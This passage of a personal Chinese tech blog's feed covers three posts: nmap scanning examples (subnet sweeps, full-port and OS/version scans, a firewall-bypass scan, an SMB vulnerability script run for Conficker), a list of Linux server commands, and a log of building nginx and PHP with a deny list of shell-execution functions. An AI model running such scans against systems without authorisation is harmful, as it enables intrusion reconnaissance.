	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-p</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">指定端口号，如<span lang="EN-US">[1-65535],[22,135,1433,3306,]</span>等格式</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;white-space:normal;">
	<span style="font-family:'微软雅黑, sans-serif';"><span style="font-size:15.3333px;"><strong>-F</strong> 快速扫描，可在nmap-services 自定义扫描的端口</span></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-O</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">启动远程操作系统监测，存在误报</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-A</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">全面系统监测，使用脚本检测，扫描等</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-T4</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">针对<span lang="EN-US">TCP</span>端口禁止动态扫描延迟超过<span lang="EN-US">10ms</span></span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-iL</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">批量扫描，读取主机列表，如<span lang="EN-US">[-iL&nbsp;&nbsp;C:\ip.txt]</span></span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-n/-R&nbsp;</span></b><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">不对<span lang="EN-US">IP</span>进行域名反向解析<span lang="EN-US">/</span>为所有的<span lang="EN-US">IP</span>都进行域名的反响解析<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:green;">0x 02 </span></b><b><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:green;">扫描案例</span></b><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">1. </span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">扫描<span lang="EN-US">C</span>段（局域网）存活主机</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">nmap -sP </span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><a href="http://www.XXX.com/24"><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:blue;">www.XXX.com/24</span></a><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">nmap -sP 192.168.1.*&nbsp;&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">（注释：“<span lang="EN-US">*</span>”为通配符）</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">2. </span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">扫描指定<span lang="EN-US">IP</span>开放端口号</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">nmap -sS -p- -v 192.168.1.100</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-p-</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">为全端口扫描，和<span lang="EN-US">[1-65535]</span>一样，建议使用</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">不使用默认<span lang="EN-US">Nmap</span>认为危险的<span lang="EN-US">100</span>个端口号</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">3. </span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">扫描指定<span lang="EN-US">IP</span>所开端口及服务版本</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">nmap -sV -v 192.168.1.100</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">4. </span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">探测主机操作系统</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">nmap -O&nbsp;</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><a href="http://www.XXX.com"><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:blue;">www.XXX.com</span></a><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">扫描准确度以百分比显示，未必准确</span><span style="font-size:12pt;font-family:宋体;"><span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">5. </span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">穿透防火墙扫描</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">nmap -P0&nbsp;&nbsp;</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><a href="http://www.XXX.com"><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:blue;">www.XXX.com</span></a><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">6. </span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">全面探测，<span lang="EN-US">-A</span>包含<span lang="EN-US">OS </span>探测，版本探测，脚本扫描，<span lang="EN-US">traceroute</span></span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">nmap -A&nbsp;</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><a href="http://www.XXX.com"><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:blue;">www.XXX.com</span></a><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">7. </span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">使用脚本扫描，</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">nmap --script="</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">脚本名称<span lang="EN-US">" </span></span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><a href="http://www.XXX.com"><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:blue;">www.XXX.com</span></a><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">如在局域网上扫找<span lang="EN-US"> Conficker </span>蠕虫病毒</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">脚本放在<span lang="EN-US">Nmap</span>安装目录<span lang="EN-US">script</span>下，官网可查各个脚本功能</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;text-align:justify;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Wed, 22 May 2019 12:31:14 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=43</guid>

</item>
<item>
	<title>服务器常用命令</title>
	<link>https://www.zuoer.xin/?post=42</link>
	<description><![CDATA[<p>
	记录中
</p>
<p>
	1.scp -p 本地 &nbsp;root@ip:/path
</p>
<p>
	2.chmod -R 700 /path &nbsp;-R 递归子目录
</p>
<p>
	3.chown -R www:www /patt
</p>
<p>
	4./usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf #启动
</p>
<p>
	5./usr/local/nginx/sbin/nginx -s reload #重启
</p>
<p>
	6.useradd user
</p>
<p>
	7.passwd user
</p>
<p>
	8.cat filename | head -n 3000 | tail -n +1000 &nbsp;看文件首 末行
</p>
<p>
	9.jpegoptim --size=250k howtoing.jpeg &nbsp;压缩图片
</p>
<p>
	10.du -sh custom1img.jpg &nbsp;文件大小
</p>
<p>
	11.
</p>
<p>
	创建：screen -S ###
</p>
<p>
	查看有多少会话：screen -ls
</p>
<p>
	恢复：screen -r ###
</p>
<p>
	如果不能恢复：先screen -d ###
</p>
<p>
	再screen -r ###
</p>
<p>
	删除 screen -S ### -X quit
</p>
<p>
	12 ﻿.
</p>
<p>
	curl cip.cc
</p>
<p>
	IP : 101.200.150.153
</p>
<p>
	地址 : 中国 &nbsp;北京
</p>
<p>
	运营商 : 阿里云/电信/联通/移动/铁通/教育网
</p>
<p>
	数据二 : 北京市 | 阿里云BGP数据中心
</p>
<p>
	数据三 : 中国北京北京市 | 阿里云
</p>
<p>
	URL : http://www.cip.cc/101.200.150.153
</p>
<p>
	13.
</p>
<p>
	service nginx start
</p>
<p>
	service php-fpm restart
</p>
<p>
	14.netstat -antu | grep 8080
</p>
<p>
	15.
	<p>
		usermod -a -G sudo zuoer #创建的用户添加到sudo用户组
	</p>
	<p>
		chsh -s /bin/bash zuoer &nbsp; &nbsp; #创建的用户的默认外壳改成bash
	</p>
	<p>
		id zuoer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; #用户信息
	</p>
	<p>
		<br />
	</p>
</p>]]></description>
	<pubDate>Wed, 22 May 2019 12:27:59 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=42</guid>

</item>
<item>
	<title>记录一次 nginx+php+mysql</title>
	<link>https://www.zuoer.xin/?post=41</link>
	<description><![CDATA[ssh连接错误用<br />
<br />
rm -rf ~/.ssh/known_hosts<br />
1.添加用户等等<br />
<br />
adduser ***<br />
passwd ***<br />
以后登陆这个用户<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
# web 用户和组<br />
groupadd www<br />
useradd -g www www -s /sbin/nologin<br />
&nbsp;<br />
# 网站目录<br />
mkdir -p /data/htdocs<br />
&nbsp;<br />
# 可写目录进行如下设置<br />
# chown -R www:www /path 自己的根目录<br />
&nbsp;<br />
# 日志目录<br />
mkdir -p /data/logs<br />
&nbsp;<br />
# 创建软件包下载和编译目录，后续软件都下载到这里<br />
mkdir -p /data/software<br />
&nbsp;<br />
# 创建软件安装目录，PHP、Nginx 将安装到这里<br />
mkdir -p /usr/local/webserver<br />
&nbsp;<br />
# 如果系统自带 Apache、PHP、MySQL，先卸载<br />
yum remove httpd<br />
yum remove php<br />
yum remove mysql<br />
&nbsp;<br />
# 升级所有软件包<br />
yum update -y<br />
2.安装依赖<br />
<br />
yum -y install gcc gcc-c++ autoconf libjpeg-turbo-static libjpeg-turbo-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel pcre pcre-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel krb5-libs krb5-devel libidn libidn-devel openssl openssl-devel openldap openldap-devel nss-pam-ldapd openldap-clients openldap-servers bison lrzsz libmcrypt libmcrypt-devel mcrypt mhash ImageMagick ImageMagick-devel libmemcached libmemcached-devel<br />
&nbsp;<br />
# libiconv：提供了一个iconv()的函数，以实现一个字符编码到另一个字符编码的转换<br />
wget http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.15.tar.gz<br />
tar zxvf libiconv-1.15.tar.gz<br />
cd libiconv-1.15<br />
./configure --prefix=/usr/local<br />
make<br />
make install<br />
&nbsp;<br />
# vim /etc/ld.so.conf 加一行 /usr/local/lib，再执行如下<br />
/sbin/ldconfig<br />
3下载php<br />
<br />
&nbsp;<br />
&nbsp;<br />
获取并解压 PHP :<br />
&nbsp;<br />
tar zxvf php-5.6.30.tar.gz<br />
配置并构建 PHP。在此步骤您可以使用很多选项自定义 PHP，例如启用某些扩展等。 运行 ./configure --help 命令来获得完整的可用选项清单。 在本示例中，我们仅进行包含 PHP-FPM 和 MySQL 支持的简单配置。<br />
&nbsp;<br />
cd php-5.6.30<br />
./configure --enable-fpm --with-mysql<br />
或者<br />
./configure --prefix=/usr/local/webserver/php --with-config-file-path=/usr/local/webserver/php/etc --with-mysql --with-mysqli --with-curl --with-mcrypt --with-gd --with-openssl --with-mhash --with-xmlrpc --with-gettext --with-bz2 --with-zlib --with-iconv-dir=/usr/local --with-freetype-dir --with-jpeg-dir --with-png-dir --with-libxml-dir --enable-xml --enable-bcmath --enable-shmop --enable-sysvsem --enable-inline-optimization --enable-mbregex --enable-mbstring --enable-gd-native-ttf --enable-pcntl --enable-sockets --enable-zip --enable-soap --enable-ftp --enable-exif --enable-opcache --enable-fpm --with-fpm-user=www --with-fpm-group=www --without-pear<br />
---------------------<br />
# 如果遇到 undefined reference to `libiconv_open' 错误<br />
# make 后面增加 ZEND_EXTRA_LIBS='-liconv'<br />
make ZEND_EXTRA_LIBS='-liconv'<br />
---------------------<br />
make<br />
---------------------<br />
在安裝<br />
&nbsp;PHP 到系统中时要是发生「undefined reference to libiconv_open'」之类的错误信息，那表示在「./configure 」沒抓好一些环境变数值。错误发生点在建立「-o sapi/cli/php」是出错，没給到要 link 的 iconv 函式库参数。 解决方法：vim Makefile 编辑Makefile 大约77 行左右的地方: EXTRA_LIBS = ..... -lcrypt 在最后加上 -liconv，例如: EXTRA_LIBS = ..... -lcrypt -liconv 然后重新再次 make 即可。<br />
&nbsp;<br />
或者用另一种办法<br />
&nbsp;<br />
make ZEND_EXTRA_LIBS='-liconv'<br />
&nbsp;<br />
ln -s /usr/local/lib/libiconv.so.2 /usr/lib64/<br />
---------------------&nbsp;<br />
&nbsp;<br />
sudo make install<br />
创建配置文件，并将其复制到正确的位置。<br />
&nbsp;<br />
# 创建配置文件<br />
cp php.ini-production /usr/local/webserver/php/etc/php.ini<br />
&nbsp;<br />
# 复制启动脚本到 init.d 目录并修改权限<br />
cp sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm<br />
chmod 700 /etc/init.d/php-fpm<br />
&nbsp;<br />
#复制php-fpm.conf<br />
cp /usr/local/webserver/php/etc/php-fpm.conf.default /usr/local/webserver/php/etc/php-fpm.conf<br />
&nbsp;<br />
# 设置开机启动<br />
chkconfig php-fpm on<br />
&nbsp;<br />
# 查看开机启动服务<br />
chkconfig --list<br />
&nbsp;<br />
# 启动服务<br />
service php-fpm start<br />
&nbsp;<br />
# 停止服务<br />
service php-fpm stop<br />
&nbsp;<br />
# 重启服务<br />
service php-fpm reload<br />
&nbsp;<br />
# 创建软连接，方便全局执行 php-fpm start | stop | reload<br />
ln -s /usr/local/webserver/php/bin/php /usr/bin/php<br />
ln -s /etc/init.d/php-fpm /usr/bin/php-fpm<br />
&nbsp;<br />
安装 PHP 扩展<br />
# memcache 扩展<br />
# memcached 支持 Binary Protocol，而 memcache 不支持，意味着 memcached 会有更高的性能<br />
# https://pecl.php.net/package/memcached<br />
# 3.x.x 支持 php 7，2.x.x 支持 php 5.2-5.6<br />
wget https://pecl.php.net/get/memcached-2.2.0.tgz<br />
tar zxvf memcached-2.2.0.tgz<br />
cd memcached-2.2.0<br />
/usr/local/webserver/php/bin/phpize<br />
./configure --with-php-config=/usr/local/webserver/php/bin/php-config<br />
make<br />
make install<br />
&nbsp;<br />
# 如果需要再本地缓存业务侧数据，安装 apcu<br />
# apc 包含 opcode 缓存和 KV 数据缓存<br />
# PHP 5.5.0 及后续版本中已经绑定了 OPcache 扩展，所以不需要安装 apc<br />
# apcu 只包含 KV 数据缓存<br />
# https://pecl.php.net/package/APCu<br />
wget https://pecl.php.net/get/apcu-4.0.11.tgz<br />
tar zxvf apcu-4.0.11.tgz<br />
cd apcu-4.0.11<br />
/usr/local/webserver/php/bin/phpize<br />
./configure --with-php-config=/usr/local/webserver/php/bin/php-config<br />
make<br />
make install<br />
&nbsp;<br />
# 图片处理 ImageMagick 扩展<br />
# https://pecl.php.net/package/imagick<br />
wget https://pecl.php.net/get/imagick-3.4.3.tgz<br />
tar zxvf imagick-3.4.3.tgz<br />
cd imagick-3.4.3<br />
/usr/local/webserver/php/bin/phpize<br />
./configure --with-php-config=/usr/local/webserver/php/bin/php-config<br />
如果出现错误<br />
&nbsp;yum install libmemcached libmemcached-devel<br />
继续<br />
make<br />
make install<br />
&nbsp;<br />
4.配置php<br />
<br />
vim /usr/local/webserver/php/etc/php.ini<br />
; 该选项设置为 On 时，将在所有的脚本中使用输出控制<br />
output_buffering = On<br />
&nbsp;<br />
; 将 PHP 所能打开的文件限制在指定的目录树<br />
open_basedir = /data/htdocs/:/tmp/<br />
&nbsp;<br />
; 禁用函数<br />
disable_functions = system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,proc_get_status,dl,chroot,show_source,syslog,readlink,symlink,popepassthru,stream_socket_server<br />
&nbsp;<br />
; 禁止暴露 PHP 被安装在服务器上<br />
expose_php = Off<br />
&nbsp;<br />
; 禁止错误信息输出<br />
display_errors = Off<br />
&nbsp;<br />
; 错误信息记录到服务器错误日志<br />
log_errors = On<br />
&nbsp;<br />
; 设置脚本错误将被记录到的文件<br />
; 该文件必须是web服务器用户可写的<br />
; mkdir /data/logs<br />
; touch /data/logs/php_error.log<br />
; chown www:www /data/logs/php_error.log<br />
error_log = /data/logs/php_error.log<br />
&nbsp;<br />
; 传递给存储处理器的参数<br />
session.save_path = "/tmp"<br />
&nbsp;<br />
; 防止 Nginx 文件类型错误解析漏洞<br />
cgi.fix_pathinfo = 0<br />
&nbsp;<br />
; 文件上传临时目录<br />
upload_tmp_dir = /tmp<br />
&nbsp;<br />
; 时区<br />
date.timezone = "Asia/Shanghai"<br />
&nbsp;<br />
; 允许使用 PHP 代码开始标志的缩写形式<br />
short_open_tag = On<br />
&nbsp;<br />
; php 扩展目录<br />
; php 5.2<br />
; extension_dir = "/usr/local/webserver/php/lib/php/extensions/no-debug-non-zts-20060613/"<br />
; php 5.4<br />
; extension_dir = "/usr/local/webserver/php/lib/php/extensions/no-debug-non-zts-20100525/"<br />
; php 5.5<br />
; extension_dir = "/usr/local/webserver/php/lib/php/extensions/no-debug-non-zts-20121212/"<br />
extension_dir = "/usr/local/webserver/php/lib/php/extensions/no-debug-non-zts-20131226/"<br />
&nbsp;<br />
; 文件结尾添加扩展配置，按需添加<br />
[apcu]<br />
extension = "apcu.so"<br />
apc.enabled = on<br />
apc.shm_size = 128M<br />
; apc.enable_cli = on<br />
[memcached]<br />
extension = "memcached.so"<br />
[imagick]<br />
extension = "imagick.so"<br />
[opcache]<br />
zend_extension="opcache.so"<br />
opcache.enable=1<br />
; 具体参数配置根据实际情况，默认不配置<br />
; opcache.memory_consumption=128<br />
; opcache.interned_strings_buffer=8<br />
; opcache.max_accelerated_files=4000<br />
; opcache.revalidate_freq=60<br />
; opcache.fast_shutdown=1<br />
; opcache.enable_cli=1<br />
修改 php-fpm.conf 配置文件<br />
&nbsp;cp /usr/local/webserver/php/etc/php-fpm.conf.default /usr/local/webserver/php/etc/php-fpm.conf<br />
vim /usr/local/webserver/php/etc/php-fpm.conf<br />
; 查找并修改如下配置，其他保持默认<br />
&nbsp;<br />
; 错误日志的位置<br />
error_log = /data/logs/php-fpm.log<br />
; 错误级别<br />
log_level = error<br />
; 如果子进程在设定的时间内收到该参数设定次数的 SIGSEGV 或者 SIGBUS退出信息号，则FPM会重新启动<br />
emergency_restart_threshold = 10<br />
; 用于设定平滑重启的间隔时间<br />
emergency_restart_interval = 1m<br />
; 设置子进程接受主进程复用信号的超时时间<br />
process_control_timeout = 5s<br />
; 设置 FPM 在后台运行<br />
daemonize = yes<br />
; 设置允许连接到 FastCGI 的服务器 IPV4 地址<br />
listen.allowed_clients = 127.0.0.1<br />
; 子进程的数量是固定的<br />
pm = static<br />
; pm 设置为 static 时表示创建的子进程的数量<br />
pm.max_children = 64<br />
; 设置启动时创建的子进程数目。仅在 pm 设置为 dynamic 时使用<br />
pm.start_servers = 10<br />
; 设置空闲服务进程的最低数目。仅在 pm 设置为 dynamic 时使用<br />
pm.min_spare_servers = 10<br />
; 设置空闲服务进程的最大数目。仅在 pm 设置为 dynamic 时使用<br />
pm.max_spare_servers = 30<br />
; 设置每个子进程重生之前服务的请求数<br />
pm.max_requests = 500<br />
; FPM 状态页面的网址<br />
pm.status_path = /phpfpm_status<br />
; 设置单个请求的超时中止时间<br />
request_terminate_timeout = 30<br />
; 设置文件打开描述符的 rlimit 限制<br />
rlimit_files = 65535<br />
; 禁止输出错误信息<br />
php_flag[display_errors] = off<br />
&nbsp;<br />
启动 php<br />
# 修改文件句柄数为 65535<br />
ulimit -SHn 65535<br />
&nbsp;<br />
# 启动 php-cgi 进程<br />
# 监听 127.0.0.1 的 9000 端口<br />
# 进程数为 64（如果服务器内存小于3GB，可以只开启64个进程）<br />
# 用户为www<br />
php-fpm start<br />
3.下载nginx并解压<br />
<br />
wget http://nginx.org/download/nginx-1.14.0.tar.gz<br />
4.安装nginx<br />
<br />
tar zxvf nginx-1.14.0.tar.gz<br />
cd nginx-1.14.0/<br />
# --prefix=PATH：指定nginx的安装目录<br />
# --user=name：设置nginx工作进程的用户<br />
# --group=name：设置nginx工作进程的组<br />
# --with-pcre：设置PCRE库的源码路径，如果已通过 yum 方式安装，使用 --with-pcre 自动找到库文件<br />
# --with-http_stub_status_module：用来监控 Nginx 的当前状态<br />
# --with-http_ssl_module：使用https协议模块<br />
# --with-http_realip_module：通过这个模块允许我们改变客户端请求头中客户端IP地址值<br />
# 更多配置参考 https://tengine.taobao.org/nginx_docs/cn/docs/install.html<br />
&nbsp;<br />
./configure --prefix=/usr/local/webserver/nginx --user=www --group=www --with-pcre --with-http_stub_status_module --with-http_ssl_module --with-http_realip_module<br />
make<br />
make install<br />
&nbsp;<br />
ln -s /usr/local/webserver/nginx/sbin/nginx /usr/bin/<br />
&nbsp;<br />
升级 nginx<br />
# make 之后不要 make install<br />
mv /usr/local/webserver/nginx/sbin/nginx /usr/local/webserver/nginx/sbin/nginx.old<br />
cp objs/nginx /usr/local/webserver/nginx/sbin/<br />
nginx -t<br />
kill -USR2 `cat /usr/local/webserver/nginx/logs/nginx.pid`<br />
kill -QUIT `cat /usr/local/webserver/nginx/logs/nginx.pid.oldbin`<br />
nginx -v<br />
5.配置nginx<br />
<br />
vim /usr/local/nginx/conf/nginx.conf&nbsp;<br />
&nbsp;<br />
网上<br />
# vi /usr/local/webserver/nginx/conf/nginx.conf<br />
# 查找并修改如下配置，其他保持默认<br />
&nbsp;<br />
# 运行的用户和用户组<br />
user&nbsp; www www;<br />
# 全局错误日志和级别<br />
error_log&nbsp; /data/logs/nginx_error.log&nbsp; error;<br />
# 进程文件<br />
pid&nbsp; /usr/local/webserver/nginx/logs/nginx.pid;<br />
# 单个进程打开的最多文件描述符数目<br />
worker_rlimit_nofile 65535;<br />
&nbsp;<br />
events&nbsp;<br />
{<br />
&nbsp; &nbsp; # 事件模型，epoll模型是Linux 2.6以上版本内核中的高性能网络I/O模型<br />
&nbsp; &nbsp; use epoll;<br />
&nbsp; &nbsp; # 单个进程可以处理的最大连接数<br />
&nbsp; &nbsp; worker_connections 65535;<br />
}<br />
&nbsp;<br />
http {<br />
&nbsp; &nbsp; # 日志名称和格式<br />
&nbsp; &nbsp; log_format&nbsp; main&nbsp; '$remote_addr - $remote_user [$time_local] "$request" '<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '$status $body_bytes_sent "$http_referer" '<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '"$http_user_agent" "$http_x_forwarded_for"';<br />
&nbsp; &nbsp; # 允许客户端请求的最大单文件字节数<br />
&nbsp; &nbsp; client_max_body_size 8m;<br />
&nbsp; &nbsp; # 防止网络阻塞<br />
